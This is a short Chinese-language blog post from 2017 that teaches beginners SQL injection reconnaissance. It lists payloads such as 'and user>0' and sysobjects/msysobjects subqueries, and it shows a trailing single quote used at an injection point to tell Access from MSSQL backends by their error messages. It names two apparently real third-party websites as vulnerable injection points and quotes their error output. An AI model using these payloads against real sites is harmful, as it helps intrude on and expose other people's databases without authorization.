数据库基础

1.常见的数据库都有哪些?

http://baike.baidu.com/view/1088.htm#6

但是对于我们这种水平的菜鸟来说,你只需要知道ACCESS、SQL Server(MSSql)、mySQL,这三个就可以了,因为其他的数据库在当今的网络中并不常见。

access是一种单机型数据库,无需登录,所以也就没有数据库用户名和密码,其他的两种是需要登录才能使用的,也就有了数据库用户名和数据库密码。

2、各类脚本语言与数据库的搭配情况

一般的,asp搭配的是access数据库或者是MSSql数据库,asp一般不会搭配mySQL。

而php一般搭配的都是mySQL,一般不会搭配access和mssql。

3、如何判断一个网站的数据库

在注入点之后加一个空格,然后加上下面的这几个语句,根据错误回显,就可以判断出网站所用的数据库类型。

and user>0

当网站的数据库是MSSql时,因为user是MSSql的一个内置变量,我们拿这个变量和0比大小的时候,会出现错误,错误信息一般为:
将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误
而在access中是没有用户的,所以当网站的数据库是access时,不会出现上述错误信息。

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

这两条语句随便选一句就可以达到判断数据库类型的目的,因为Sysobjects是SQL的内置系统表,在WEB下可以正常读取,msysobjects是Access的内置系统表,在WEB下无权读取。

另外,在注入点后加单引号也是有可能可以判断出网站的数据库类型的,比如:

http://www.chhuaxu.com/product_show.asp?id=4956

加了单引号之后的错误回显为:

/product.asp,行 60


Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'id=4956'' 中。

/product_show.asp,行 52

从出错信息中,就可以看到,明显的有“Microsoft Access Driver”这样的字眼,那么很明显的,这个网站就是用的access数据库了。

还有这个:

http://www.rabailian.com/cpzs1.asp?hid=2

错误信息为:

Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'bigclass=2' and filename<>'' order by title asc' 中。

/cpzs1.asp,行 97

当我们看到“Microsoft JET Database Engine”这几个字符的时候,就可以断定这个网站用的是access数据库了。

posted @ 2017-02-21 08:22  DpAndOr  阅读(196)  评论(0)    收藏  举报